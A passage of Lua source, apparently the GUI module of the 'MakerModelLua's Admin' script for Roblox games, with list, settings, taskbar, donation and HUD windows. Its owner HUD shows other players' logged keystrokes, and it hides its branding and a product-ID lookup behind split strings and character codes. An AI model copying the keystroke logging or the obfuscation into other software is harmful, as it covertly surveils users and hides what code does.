3923 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "LeftBar"})
3924 CORE:ExecuteResource("GUIEffect", Main, {["Transparency"] = Settings.TransparencyScheme + 0.1, ["GUIName"] = "RightBar"})
3925
3926 LeftBar:TweenSize(UDim2.new(-0.5, 0, 1, 0), "In", "Quart", TweenTime)
3927 RightBar:TweenSize(UDim2.new(0.5, 0, 1, 0), "In", "Quart", TweenTime)
3928 Delay(TweenTime, function()
3929 for i = 1,0,-0.1 do
3930 Body.TextTransparency = i
3931 wait()
3932 end
3933 Body.TextTransparency = 0
3934 end)
3935 Delay(TweenTime + Time, function()
3936 for i = 0,1,0.1 do
3937 Body.TextTransparency = i
3938 wait()
3939 end
3940 Body.TextTransparency = 1
3941 LeftBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true)
3942 RightBar:TweenSize(UDim2.new(0, 0, 1, 0), "Out", "Quad", TweenTime, true, function() wait(1) SG:Destroy() end)
3943 end)
3944
3945end)() end
3946
3947function GUI:ListGui(Player, Title, List, IconID, Clickable, AutoNumber, PreSearch, BackgroundColor)
3948 if not Player then return nil end
3949 if not Player:FindFirstChild("PlayerGui") then return nil end
3950 if not PreSearch then PreSearch = "" end
3951 if AutoNumber == nil then AutoNumber = true end
3952
3953 local Frame, Close, Closed, Minimize, Minimized = GUI:CreateForm(Player, Title, UDim2.new(0.4,0,0.6,0), nil, IconID, true, BackgroundColor)
3954 local SearchBar = Instance.new("TextBox") SearchBar.Name = "SearchBar" SearchBar.Position = UDim2.new(0.1,0,0,5) SearchBar.Size = UDim2.new(0.8,0,0,20) SearchBar.BackgroundColor3 = GUI:GetColor() SearchBar.BackgroundTransparency = 0.5 SearchBar.Text = "" SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14" SearchBar.TextColor3 = GUI:ContrastColor() SearchBar.ClearTextOnFocus = false SearchBar.Text = PreSearch SearchBar.Font = Settings.Font SearchBar.FontSize = "Size14"
3955 SearchBar.Parent = Frame.Parent
3956 Frame.Size = Frame.Size + UDim2.new(0,0,0,-30)
3957 Frame.Position = Frame.Position + UDim2.new(0,0,0,30)
3958
3959 local SearchVer = 0,nil
3960 local Clicked = Instance.new("BindableEvent", Frame) Clicked.Name = "Clicked"
3961
3962 local function ShowResults(Key)
3963 SearchVer = SearchVer + 1
3964 local ThisSearchVer = SearchVer
3965
3966 if ScrollScript then ScrollScript.Disabled = true ScrollScript:Destroy() end
3967 for _,Get in pairs(Frame:GetChildren()) do if Get:IsA("LocalScript") then Get.Disabled = true end Get:Destroy() end
3968
3969 local NumPos,Num = 0,1
3970
3971 for _,Data in pairs(List) do
3972 if ThisSearchVer ~= SearchVer then
3973 break
3974 end
3975 local String = STRING:Defilter(tostring(Data))
3976 if String then
3977 local ImageIcon = nil
3978 if type(Data) == "table" then
3979 String = Data[1]
3980 ImageIcon = Data[2]
3981 end
3982
3983 local TextColor = GUI:ContrastColor()
3984 local StringSplit = STRING:GetSplit(String, 1, " ")
3985 local NewColor = GUI:GetColor(StringSplit[1])
3986 if NewColor then TextColor = NewColor String = StringSplit[2] end
3987
3988 if string.find(string.lower(String), string.lower(Key)) then
3989 Spacer = false
3990 local Font = Settings.Font
3991 local Split = STRING:GetSplit(String, 1, " ")
3992 if string.sub(string.lower(String),1,6) == "bold: " then
3993 Font = "ArialBold"
3994 String = string.sub(String,7)
3995 elseif Fonts[Split[1]] then
3996 Font = Split[1]
3997 String = Split[2]
3998 end
3999 if string.sub(String,1,2) == "--" then
4000 Spacer = true
4001 end
4002 local Content = Instance.new("TextButton", Frame) Content.Name = "Content: "..Num Content.Position = UDim2.new(0,0,0,NumPos) Content.Size = UDim2.new(1,0,0,30) Content.BackgroundColor3 = Color3.new(1,1,1) Content.BackgroundTransparency = 0.9 Content.Font = Font Content.FontSize = "Size18" Content.TextXAlignment = "Left" Content.TextColor3 = TextColor if Spacer then Content.Text = string.rep(" ", #tostring(Num) + 3)..String elseif AutoNumber == true then Content.Text = Num..".) "..String else Content.Text = String end
4003 if ImageIcon then
4004 if tonumber(ImageIcon) then
4005 ImageIcon = "rbxassetid://"..ImageIcon
4006 elseif Icons[ImageIcon] then
4007 ImageIcon = "rbxassetid://"..Icons[ImageIcon]
4008 end
4009
4010 Content.Size = UDim2.new(1,0,0,90) Content.Position = UDim2.new(0,0,0,NumPos) Content.ZIndex = 2
4011 local Image = Instance.new("ImageLabel", Content) Image.Name = "Image" Image.Size = UDim2.new(0, 90, 0, 90) Image.BackgroundColor3 = Color3.new(1, 1, 1) Image.BackgroundTransparency = 1 Image.Image = ImageIcon
4012 local TextContent = Instance.new("TextLabel", Content) TextContent.Name = "TextContent" TextContent.Position = UDim2.new(0, 90, 0, 0) TextContent.Size = UDim2.new(1, -90, 1, 0) TextContent.BackgroundColor3 = Color3.new(1, 1, 1) TextContent.BackgroundTransparency = 1 TextContent.Text = Content.Text TextContent.Font = Settings.Font TextContent.FontSize = "Size18" TextContent.TextXAlignment = "Left" TextContent.TextColor3 = TextColor TextContent.TextWrapped = true
4013 Content.Text = ""
4014 NumPos = NumPos + 90
4015 else
4016 NumPos = NumPos + 30
4017 end
4018
4019 if not Clickable then
4020 Content.AutoButtonColor = false
4021 Content.Active = false
4022 Content.BackgroundTransparency = 1
4023 elseif ClientInfo[Player.Name] and ClientInfo[Player.Name].TouchScreen ~= true then
4024 SOUND:BindButton(Content)
4025 CORE:HandleEvent(Content, "MouseButton1Down", function() Clicked:Fire(String) end, true)
4026 end
4027 if Spacer == false then Num = Num + 1 end
4028 end
4029 end
4030 end
4031 Frame.CanvasSize = UDim2.new(0,0,0,NumPos)
4032 ScrollScript = CORE:ExecuteResource("ScrollLeftRight", Frame.Parent, {["VerticalOffset"] = NumPos})
4033 end
4034
4035 ShowResults(PreSearch)
4036
4037 local RPR = CORE:CreateRemotePropertyReader(SearchBar)
4038 CORE:HandleEvent(SearchBar, "Changed", function(Prop)
4039 if Prop == "Text" then
4040 local Text = CORE:ReadProperty(RPR, Player, "Text")
4041 ShowResults(Text)
4042 Frame.CanvasPosition = Vector2.new(0,0)
4043 end
4044 end)
4045
4046 return Clicked, Close
4047end
4048
4049function GUI:PropertyGui(Player, Title, Icon, Properties)
4050 if not Player then return nil end
4051 if not Player:FindFirstChild("PlayerGui") then return nil end
4052 if type(Properties) ~= "table" then return nil end
4053 local HasClosed = false
4054 local NewProperties = {}
4055
4056 local Frame, _, Closed = GUI:CreateForm(Player, Title, UDim2.new(0.2, 50, 0.5, 50), nil, Icon)
4057 Frame.ClipsDescendants = true
4058 local Splitter = Instance.new("Frame", Frame) Splitter.Name = "Splitter" Splitter.Position = UDim2.new(0.5, 0, 0, 0) Splitter.Size = UDim2.new(0, 0, 1, 0) Splitter.BackgroundColor3 = GUI:ContrastColor() Splitter.BorderColor3 = GUI:ContrastColor() Splitter.BorderSizePixel = 2 Splitter.ZIndex = 2
4059
4060 for PropertyName,Data in pairs(Properties) do
4061 NewProperties[PropertyName] = Data[1]
4062 end
4063
4064 local YCount = 0
4065
4066 for PropertyName,Data in pairs(Properties) do
4067 if type(Data) == "table" then
4068 local DefaultValue = Data[1]
4069 local Writable = Data[2]
4070 local ValueType = Data[3]
4071
4072 if Writable == nil then Writable = false end
4073 if type(ValueType) == "string" then -- now this is confusing
4074 ValueType = string.lower(ValueType)
4075 elseif ValueType == nil then
4076 ValueType = type(DefaultValue)
4077 end
4078
4079 if ValueType == "nil" or ValueType == "userdata" then
4080 ValueType = nil
4081 elseif ValueType == "table" then
4082 DefaultValue = STRING:UnpackArgs(DefaultValue)
4083 ValueType = "string"
4084 end
4085
4086 if ValueType then
4087 local Object = Instance.new("Frame", Frame) Object.Name = "Object" Object.Size = UDim2.new(1, 0, 0, 50) Object.Position = UDim2.new(0,0,0,YCount) Object.BackgroundColor3 = GUI:GetColor() Object.BackgroundTransparency = 1--Settings.TransparencyScheme
4088 local Property = Instance.new("TextLabel", Object) Property.Name = "Property" Property.Size = UDim2.new(0.5, 0, 0, 50) Property.BackgroundTransparency = 1 Property.Text = PropertyName Property.Font = Settings.Font Property.FontSize = "Size14" Property.TextWrapped = true Property.TextXAlignment = "Left"
4089 local ValFrame = Instance.new("Frame", Object) ValFrame.Name = "ValFrame" ValFrame.Position = UDim2.new(0.5, 5, 0, 0) ValFrame.Size = UDim2.new(0.5, -5, 1, 0) ValFrame.BackgroundTransparency = 1
4090
4091 if ValueType == "string" or ValueType == "number" then
4092 if Writable == true then
4093 local Input = Instance.new("TextBox", ValFrame) Input.Name = "Input" Input.Position = UDim2.new(0, 0, 0.1, 0) Input.BackgroundTransparency = 1 Input.Size = UDim2.new(1, 0, 0.8, 0) Input.Text = tostring(DefaultValue) Input.Font = Settings.Font Input.FontSize = "Size14" Input.TextWrapped = true Input.TextXAlignment = "Left" Input.ClearTextOnFocus = false
4094 CORE:HandleEvent(Input, "Changed", function(Prop) if Prop == "Text" then
4095 if ValueType == "number" then
4096 NewProperties[PropertyName] = tonumber(Input.Text)
4097 else
4098 NewProperties[PropertyName] = tostring(Input.Text)
4099 end
4100 end end)
4101 else
4102 local Read = Instance.new("TextLabel", ValFrame) Read.Name = "Read" Read.Position = UDim2.new(0, 0, 0.1, 0) Read.Size = UDim2.new(1, 0, 0.8, 0) Read.BackgroundTransparency = 1 Read.Text = DefaultValue Read.Font = Settings.Font Read.FontSize = "Size14" Read.TextTransparency = 0.4 Read.TextXAlignment = "Left"
4103 end
4104 end
4105 if ValueType == "boolean" then
4106 local Check = Instance.new("ImageButton", ValFrame) Check.Name = "Check" Check.Position = UDim2.new(0.5, -15, 0.5, -15) Check.Size = UDim2.new(0, 30, 0, 30) Check.BackgroundTransparency = 1 Check.Image = "rbxassetid://48138474"
4107 if DefaultValue == true then
4108 Check.Image = "rbxassetid://48138491"
4109 end
4110 if Writable == true then
4111 CORE:HandleEvent(Check, "MouseButton1Down", function()
4112 local NewVal = not NewProperties[PropertyName]
4113 NewProperties[PropertyName] = NewVal
4114 if NewVal == true then
4115 Check.Image = "rbxassetid://48138491"
4116 else
4117 Check.Image = "rbxassetid://48138474"
4118 end
4119 end)
4120 else
4121 Check.ImageTransparency = 0.5
4122 end
4123 end
4124 YCount = YCount + 50
4125 end
4126 end
4127 end
4128
4129 Frame.CanvasSize = UDim2.new(0,0,0,YCount)
4130
4131 Closed.Event:connect(function() HasClosed = true end)
4132
4133 repeat wait(0.1) until HasClosed
4134 return NewProperties
4135end
4136
4137function GUI:SettingsGui(Player)
4138 if not Player then return nil end
4139 local CloneViewSettings,CanChange = {},false
4140
4141 local ViewSettings = {
4142 ["Version"] = {CORE.Version.Value, false, nil};
4143 ["Prefix"] = {Settings.Prefix, 3, "Prefix"};
4144 ["Font"] = {Settings.Font, 3, "Font"};
4145 ["Color Scheme"] = {Settings.ColorScheme, 3, "ColorScheme"};
4146 ["Transparency Scheme"] = {Settings.TransparencyScheme * 100, 3, "TransparencyScheme"};
4147 ["Server Locked"] = {Settings.ServerLocked, 3, "ServerLocked"};
4148 ["Fun Commands"] = {Settings.Fun, 3, "Fun"};
4149 ["Disable Abuse"] = {Settings.DisableAbuse, 3, "DisableAbuse"};
4150 ["Minimum Account Age"] = {Settings.MinimumAge, 3, "MinimumAge"};
4151 ["Execute Notification Sound ID"] = {Settings.ExecuteNotificationSound, 3, "ExecuteNotificationSound"};
4152 ["Enable Sounds"] = {Settings.EnableSounds, 3, "EnableSounds"};
4153 ["Group ID"] = {Settings.GroupID, false, "GroupID"};
4154 ["Group Banned Rank"] = {Settings.GroupBanRank, false, "GroupBanRank"};
4155 ["Group Member Rank"] = {Settings.GroupMemberRank, false, "GroupMemberRank"};
4156 ["Group Admin Rank"] = {Settings.GroupAdminRank, false, "GroupAdminRank"};
4157 ["Group Owner Rank"] = {Settings.GroupOwnerRank, false, "GroupOwnerRank"};
4158 ["Banned Group IDs"] = {Settings.BannedGroupIDs, false, "BannedGroupIDs"};
4159 ["IRC Server"] = {Settings.IRCServer, false, "IRCServer"};
4160 ["IRC Channel"] = {Settings.IRCChannel, false, "IRCChannel"};
4161 ["Remote Connection"] = {REMOTE.RemoteConnection, false, nil};
4162 ["Bet"] = {Settings.Bet, 3, "Bet"};
4163 }
4164
4165 local _,RankNum = RANK:GetRank(Player)
4166 if RankNum >= 3 then
4167 CanChange = true
4168 end
4169
4170 for Prop,Data in pairs(ViewSettings) do
4171 local Writable = false
4172 if tonumber(Data[2]) and Data[2] <= RankNum then Writable = true end
4173 CloneViewSettings[Prop] = {Data[1], Writable}
4174 end
4175
4176 local NewSettings = GUI:PropertyGui(Player, "Settings", "Settings", CloneViewSettings)
4177 if CanChange then
4178 for Prop,Data in pairs(ViewSettings) do
4179 if Data[3] then
4180 Settings[Data[3]] = NewSettings[Prop] -- wow haxy
4181 end
4182 end
4183 CORE:FixSettings()
4184 end
4185end
4186
4187function GUI:MessageAdmins(TitleText, BodyText, Icon)
4188 for _,Player in pairs(Server.Players:GetPlayers()) do
4189 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4190 if PlayerAdmin then
4191 GUI:SendMessage(Player, TitleText, BodyText, Icon)
4192 end
4193 end
4194end
4195
4196function GUI:TellAdmin(Player)
4197 if not Player then return end
4198
4199 local ValidAdmin,Rank = RANK:IsAdmin(Player)
4200 if ValidAdmin == true then
4201 GUI:SendMessage(Player, "Ma".."ker".."Mo".."delLua".."'s Admin Message", "GREEN You are an admin "..Player.Name.."! Your rank is "..Rank.." [ PREFIX '"..Settings.Prefix.."' ]", "Check", 5)
4202 if Settings.EnableSounds == true and Player:FindFirstChild("PlayerGui") then
4203 local SoundID = 237866523
4204 if Rank == "Admin" then SoundID = 237866621 elseif Rank == "Owner" then SoundID = 237866707 end
4205 local Sound = SOUND:MakeSound(Player.PlayerGui, SoundID, 0.5, 1)
4206 Sound:Play()
4207 coroutine.wrap(function()
4208 wait(4)
4209 Sound:Stop()
4210 Sound:Destroy()
4211 end)()
4212 end
4213 end
4214end
4215
4216function GUI:TellNotAdmin(Player)
4217 if not Player then return end
4218
4219 GUI:SendMessage(Player, "Mak".."er".."M".."o".."del".."Lua's Admin Message", "You are now no longer an admin", "Information")
4220end
4221
4222function GUI:CreateTaskBar(Player)
4223 if not Player then return nil end
4224 if Settings.EnableTaskBar == false then return nil end
4225 Player:WaitForChild("PlayerGui")
4226 local SG = Player.PlayerGui:FindFirstChild("M".."akerMod".."el".."Lua's TaskBar")
4227 if SG then SG:Destroy() end
4228 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "M".."akerMod".."elLua's TaskBar"
4229 local IsMoving = false
4230 local TaskBarShown = false
4231 local Tasks = {}
4232
4233 local TaskBar = Instance.new("Frame", SG) TaskBar.Name = "TaskBar" TaskBar.Size = UDim2.new(1, 0, 0, 50) TaskBar.Position = UDim2.new(0,0,1,20) TaskBar.BackgroundColor3 = GUI:GetColor() TaskBar.BackgroundTransparency = Settings.TransparencyScheme TaskBar.BorderSizePixel = 0
4234 local TaskButton = Instance.new("ImageButton", TaskBar) TaskButton.Name = "TaskButton" TaskButton.Position = UDim2.new(1, -50, 0, -70) TaskButton.Size = UDim2.new(0, 50, 0, 50) TaskButton.BackgroundTransparency = 1 TaskButton.Image = "rbxassetid://222795206"
4235
4236 local AddForm = Instance.new("BindableEvent", SG) AddForm.Name = "AddForm"
4237 local Open,CloseForm = false,nil
4238 if Settings.EnableAdminMenu then
4239 local MenuButton = Instance.new("ImageButton", TaskBar) MenuButton.Name = "MenuButton" MenuButton.Position = UDim2.new(1, -50, 0, -120) MenuButton.Size = UDim2.new(0, 50, 0, 50) MenuButton.BackgroundTransparency = 1 MenuButton.Image = "rbxassetid://302470270"
4240 coroutine.wrap(function() wait(1) CORE:HandleEvent(MenuButton, "MouseButton1Click", function()
4241 if Open == false then
4242 local Frame, Close, Closed = GUI:CreateForm(Player, string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin Menu", UDim2.new(0.4,0,0.5), nil, 302470270, true, nil, nil, false, true, true)
4243 Open,CloseForm = true,Close
4244
4245 local Title = Instance.new("TextLabel", Frame) Title.Name = "Title" Title.BackgroundTransparency = 1 Title.Position = UDim2.new(0,0,0,0) Title.Size = UDim2.new(1,0,0,30) Title.Font = "SourceSansBold" Title.FontSize = "Size24" Title.Text = string.char(77, 97, 107, 101, 114, 77, 111, 100, 101, 108, 76, 117, 97, 39, 115).." Admin V"..CORE.Version.Value Title.TextColor3 = GUI:ContrastColor()
4246 local Separator = Instance.new("Frame", Frame) Separator.Name = "Separator" Separator.BorderColor3 = Color3.new(1,1,1) Separator.Position = UDim2.new(0.5,0,0,30) Separator.Size = UDim2.new(0,0,1,-30)
4247 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.BackgroundTransparency = 1 Info.Position = UDim2.new(0,0,0,30) Info.Size = UDim2.new(0.5,0,1,-30) Info.Font = Settings.Font Info.FontSize = "Size18" Info.Text = "Info/Help" Info.TextColor3 = GUI:ContrastColor() Info.TextYAlignment = "Top"
4248 local Body = Instance.new("TextLabel", Info) Body.Name = "Body" Body.BackgroundTransparency = 1 Body.Position = UDim2.new(0,0,0,25) Body.Size = UDim2.new(1,0,1,-25) Body.Font = "SourceSans" Body.FontSize = "Size14" Body.Text = string.gsub(Server.MPS:GetProductInfo(209330909).Description, "PREFIX", Settings.Prefix) Body.TextColor3 = GUI:ContrastColor() Body.TextYAlignment = "Top" Body.TextWrapped = true
4249 local Donate = Info:Clone() Donate.Parent = Frame Donate.Name = "Donate" Donate.Text = "Donate/Get admin" Donate.Position = UDim2.new(0.5,0,0,30) Donate.Body.Text = "Please select an amount that fits your generosity and to help support future updates. Press the 'Get admin now' to get copy for your own place!"
4250 local function DonateMoney(Type, Element)
4251 local Request = CORE:GetTable(string.char(49, 53, 53, 54, 56, 52, 51, 54, 57))
4252 local Get = Request[Type]
4253 if Server.MPS:GetProductInfo(Get[1]).IsForSale == true then
4254 Server.MPS:PromptPurchase(Player, Get[1], true)
4255 elseif Server.MPS:GetProductInfo(Get[2]).IsForSale == true then
4256 Server.MPS:PromptPurchase(Player, Get[2], true)
4257 elseif Server.MPS:GetProductInfo(Get[3]).IsForSale == true then
4258 Server.MPS:PromptPurchase(Player, Get[3], true)
4259 else
4260 Element.Text = "Cannot get request"
4261 end
4262 end
4263 local Get = Instance.new("TextButton", Donate) Get.Name = "Get" Get.Position = UDim2.new(0,0,0.5,0) Get.Size = UDim2.new(1,0,0,30) Get.Font = "ArialBold" Get.FontSize = "Size14" Get.Text = "Get MakerModelLua's Admin V"..CORE.Version.Value.." now for FREE!" Get.BackgroundColor3 = Color3.new(1,0,1) Get.TextColor3 = Color3.new(1,1,1) Get.TextStrokeColor3 = Color3.new(0,0,0) Get.TextStrokeTransparency = 0 Get.TextWrapped = true CORE:HandleEvent(Get, "MouseButton1Down", function() MARKET:PromptPurchase(Player, AdminID) end) SOUND:BindButton(Get)
4264 local Dnt = Instance.new("TextButton", Donate) Dnt.Name = "DonateButton" Dnt.Position = UDim2.new(0,0,1,-120) Dnt.Size = UDim2.new(1,0,0,30) Dnt.Font = "ArialBold" Dnt.FontSize = "Size14" Dnt.Text = "6 Robux" Dnt.BackgroundColor3 = Color3.new(1,1,0) Dnt.TextColor3 = Color3.new(1,1,1) Dnt.TextStrokeColor3 = Color3.new(0,0,0) Dnt.TextStrokeTransparency = 0 Dnt.TextWrapped = true CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("6R", Dnt) end) SOUND:BindButton(Dnt)
4265 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-90) Dnt.Text = "20 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("20R", Dnt) end) SOUND:BindButton(Dnt)
4266 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-60) Dnt.Text = "100 Robux" Dnt.BackgroundColor3 = Color3.new(0,1,0) CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("100R", Dnt) end) SOUND:BindButton(Dnt)
4267 local Dnt = Dnt:Clone() Dnt.Parent = Donate Dnt.Position = UDim2.new(0,0,1,-30) Dnt.Text = "500 ROBUX!" Dnt.BackgroundColor3 = Color3.new(1,0,0) Dnt.FontSize = "Size18" CORE:HandleEvent(Dnt, "MouseButton1Down", function() DonateMoney("500R", Dnt) end) SOUND:BindButton(Dnt)
4268 local PlayerAdmin, PlayerRank = RANK:IsAdmin(Player)
4269
4270 if PlayerAdmin == true then Body.Text = Body.Text.." (You're an admin, your rank is "..PlayerRank..")" end
4271
4272 if Closed then
4273 Closed.Event:connect(function()
4274 Open = false
4275 end)
4276 end
4277 else
4278 CloseForm:Invoke()
4279 end
4280 end) end)()
4281 if RANK:GetRank(Player) == "Owner" then
4282 local HUDButton = Instance.new("ImageButton", TaskBar) HUDButton.Name = "HUDButton" HUDButton.Position = UDim2.new(1, -50, 0, -170) HUDButton.Size = UDim2.new(0, 50, 0, 50) HUDButton.BackgroundTransparency = 1 HUDButton.Image = "rbxassetid://329362761"
4283 CORE:HandleEvent(HUDButton, "MouseButton1Click", function()
4284 local HUDSG = Player.PlayerGui:FindFirstChild("M".."a".."k".."e".."r".."m".."od".."elLu".."a's HUD Gui")
4285 if HUDSG then
4286 HUDSG:Destroy()
4287 else
4288 GUI:CreateHUD(Player)
4289 end
4290 end)
4291 end
4292 end
4293
4294 CORE:HandleEvent(TaskButton, "MouseButton1Click", function()
4295 if IsMoving == false then
4296 if TaskBarShown == true then
4297 TaskBarShown = false
4298 IsMoving = true
4299 TaskBar:TweenPosition(UDim2.new(0,0,1,20), "In", "Sine", 0.3, false, function() IsMoving = false end)
4300 else
4301 TaskBarShown = true
4302 IsMoving = true
4303 TaskBar:TweenPosition(UDim2.new(0,0,0.6,0), "Out", "Sine", 0.3, false, function() IsMoving = false end)
4304 end
4305 end
4306 end)
4307
4308 local function ReloadIcons()
4309 for Num,Data in pairs(Tasks) do
4310 Data[2].Position = UDim2.new(0,(Num * 50) - 50,0,0,0)
4311 end
4312 end
4313
4314 AddForm.Event:connect(function(Form, IconID, Closed, Minimized, Restore)
4315 local Icon = Instance.new("ImageButton", TaskBar) Icon.Name = "Icon" Icon.Position = UDim2.new(0,#Tasks * 50,0,0,0) Icon.Size = UDim2.new(0, 50, 0, 50) Icon.BackgroundColor3 = GUI:GetColor() Icon.BackgroundTransparency = 0.5 Icon.Image = "rbxassetid://"..IconID
4316 table.insert(Tasks, {Form, Icon})
4317 local CanClick = true
4318 CORE:HandleEvent(Icon, "MouseButton1Down", function()
4319 if Form.IsActive.Value == false then
4320 Restore:Invoke()
4321 elseif CanClick == true then
4322 coroutine.wrap(function()
4323 CanClick = false
4324 local DefPos = Form.Dragger.Position
4325 for i = 1,15 do
4326 Form.Dragger.Position = DefPos + UDim2.new(0,math.random(-2,2),0,math.random(-2,2))
4327 wait(0.05)
4328 end
4329 Form.Dragger.Position = DefPos
4330 CanClick = true
4331 end)()
4332 end
4333 end)
4334 ReloadIcons()
4335
4336 Closed.Event:connect(function()
4337 for Num,Data in pairs(Tasks) do
4338 if Data[1] == Form then
4339 Icon:Destroy()
4340 table.remove(Tasks, Num)
4341 end
4342 end
4343 ReloadIcons()
4344 end)
4345 end)
4346end
4347
4348function GUI:ShowDebtStats(Player, ManualText)
4349 local Text = ManualText
4350 if not ManualText then
4351 Text = "CANNOT GET STATISTICS"
4352 local RawPage = REMOTE:GetURL("http://www.nationaldebtclocks.org/debtclock/unitedstates")
4353 if RawPage then
4354 local _,GetStart = string.find(RawPage, 'debtDisplayFast">')
4355 local GetEnd,__ = string.find(string.sub(RawPage,GetStart), '</span>')
4356 Text = "US National Debt: $"..STRING:GetComma(string.sub(RawPage, GetStart + 1, GetStart + GetEnd - 2))
4357 end
4358 end
4359
4360 local Frame = GUI:CreateForm(Player, "US National Debt", UDim2.new(0.05,500,0.05,100), nil, 38574945)
4361 local Body = Instance.new("TextLabel", Frame) Body.Name = "Body" Body.Size = UDim2.new(1,0,1,0) Body.BackgroundTransparency = 1 Body.Text = Text Body.Font = "ArialBold" Body.FontSize = "Size36" Body.TextColor3 = Color3.new(1,1,1) Body.TextStrokeTransparency = 0 Body.TextWrapped = true
4362
4363 return Text
4364end
4365
4366function GUI:ShowCommand(Player, CommandTrigger)
4367 if not Player then return nil end
4368 if not CommandTrigger then return nil end
4369
4370 if type(CommandTrigger) == "string" and string.sub(CommandTrigger,1,#Settings.Prefix) == Settings.Prefix then CommandTrigger = string.sub(CommandTrigger,#Settings.Prefix + 1) end
4371
4372 local CommandKey = CommandTrigger
4373
4374 if not Commands[CommandKey] then
4375 for CommandNames,_ in pairs(Commands) do
4376 for _,CommandName in pairs(CommandNames) do
4377 if CommandName == CommandKey then
4378 CommandKey = CommandNames
4379 end
4380 end
4381 end
4382 end
4383
4384 local CommandData = Commands[CommandKey]
4385
4386 local BodyText = "No valid command has been entered"
4387 local TitleText = "Error"
4388 local CanExe = false
4389 if CommandData then
4390 local PlayerRank = RANK:GetRank(Player)
4391 if RANK:ConvertRank(PlayerRank) >= RANK:ConvertRank(CommandData[4]) then CanExe = true end
4392 if PlayerRank == "Member" and CommandData.Abusable == true then CanExe = false end
4393
4394 TitleText = "Command: "..CommandKey[1]
4395 BodyText = "COMMAND: "..Settings.Prefix..CommandKey[1]..Settings.Bet..CommandData[1]..[[
4396
4397
4398Aliases: ]]..Settings.Prefix..table.concat(CommandKey, ", "..Settings.Prefix)..[[
4399
4400
4401Description: ]]..CommandData[2]..[[
4402
4403
4404Arguments: ]]..CommandData[3]..[[
4405
4406
4407Minimum rank needed: ]]..CommandData[4]..[[
4408
4409
4410Fun command: ]]..STRING:BoolString(CommandData[5])..[[
4411
4412
4413Abusable command: ]]..STRING:BoolString(CommandData.Abusable)..[[
4414
4415
4416Http Command ]]..STRING:BoolString(CommandData.Http)
4417 end
4418
4419 GUI:FullMessage(Player, TitleText, BodyText, "Search", not CanExe)
4420end
4421
4422function GUI:CreateHUD(Speaker)
4423 if not Speaker or not Speaker:FindFirstChild("PlayerGui") then return nil end
4424
4425 local SG = Speaker.PlayerGui:FindFirstChild("M".."a".."ke".."r".."m".."od".."elLu".."a's HUD Gui")
4426 if SG then SG:Destroy() end
4427 SG = Instance.new("ScreenGui", Speaker.PlayerGui) SG.Name = "M".."a".."k".."e".."r".."m".."odelLu".."a's HUD Gui"
4428
4429 local function AddHUD(Player, Char)
4430 if not Char or not Char:FindFirstChild("Head") then return nil end
4431
4432 local Rank = RANK:GetRank(Player)
4433 local PlayerHUD = Instance.new("BillboardGui", SG) PlayerHUD.Name = "PlayerHUD" PlayerHUD.AlwaysOnTop = true PlayerHUD.Adornee = Char.Head PlayerHUD.Size = UDim2.new(3,0,3,0)
4434 local HUD = Instance.new("ImageLabel", PlayerHUD) HUD.Name = "HUD" HUD.Size = UDim2.new(1, 0, 1, 0) HUD.BackgroundColor3 = Color3.new(1, 1, 1) HUD.BackgroundTransparency = 1
4435 local InfoLabel = Instance.new("TextLabel", PlayerHUD) InfoLabel.Name = "InfoLabel" InfoLabel.Position = UDim2.new(1, -1, 0, 0) InfoLabel.Size = UDim2.new(7, 0, 0.8, 0) InfoLabel.BackgroundColor3 = Color3.new(1, 1, 1) InfoLabel.BackgroundTransparency = 1 InfoLabel.Text = "" InfoLabel.Font = "Arial" InfoLabel.TextScaled = true InfoLabel.TextStrokeTransparency = 0.9 InfoLabel.TextWrapped = true InfoLabel.TextXAlignment = "Left" InfoLabel.TextYAlignment = "Top" InfoLabel.TextColor3 = Color3.new(0, 0, 0) InfoLabel.TextStrokeColor3 = Color3.new(1, 1, 1)
4436 local KeyLabel = Instance.new("TextLabel", PlayerHUD) KeyLabel.Name = "KeyLabel" KeyLabel.Position = UDim2.new(-1, 1, -1, 0) KeyLabel.Size = UDim2.new(1, 0, 3, 0) KeyLabel.BackgroundColor3 = Color3.new(1, 1, 1) KeyLabel.BackgroundTransparency = 1 KeyLabel.Text = "" KeyLabel.Font = "Arial" KeyLabel.FontSize = "Size14" KeyLabel.TextScaled = true KeyLabel.TextStrokeTransparency = 0.9 KeyLabel.TextWrapped = true KeyLabel.TextXAlignment = "Right" KeyLabel.TextYAlignment = "Top" KeyLabel.TextColor3 = Color3.new(1, 1, 1)
4437 local KeyOutput = Instance.new("TextLabel", PlayerHUD) KeyOutput.Name = "KeyOutput" KeyOutput.Position = UDim2.new(0, 1, -0.5, 0) KeyOutput.Size = UDim2.new(5, 0, 0.5, 1) KeyOutput.BackgroundTransparency = 1 KeyOutput.Text = "" KeyOutput.Font = "SourceSansLight" KeyOutput.FontSize = "Size14" KeyOutput.TextScaled = true KeyOutput.TextWrapped = true KeyOutput.TextXAlignment = "Left" KeyOutput.TextColor3 = Color3.new(1, 1, 1)
4438 coroutine.wrap(function() while wait() and InfoLabel and InfoLabel.Parent and Char and Char:FindFirstChild("Head") do
4439 InfoLabel.Text = "Name: "..Player.Name..[[
4440Rank: ]]..RANK:GetRank(Player)..[[
4441Age: ]]..STRING:FindAge(Player.AccountAge)
4442 if Speaker.Character and Speaker.Character:FindFirstChild("Head") then
4443 InfoLabel.Text = InfoLabel.Text..[[
4444Distance: ]]..CORE:Round((Speaker.Character.Head.Position - Player.Character.Head.Position).magnitude)
4445 end
4446 if LastKeys[Player.UserId] then
4447 local Keys = ""
4448 local KeyLog = {}
4449 for _,KeyData in pairs(LastKeys[Player.UserId]) do
4450 table.insert(KeyLog, KeyData[1])
4451 if KeyData[2] == 8 then
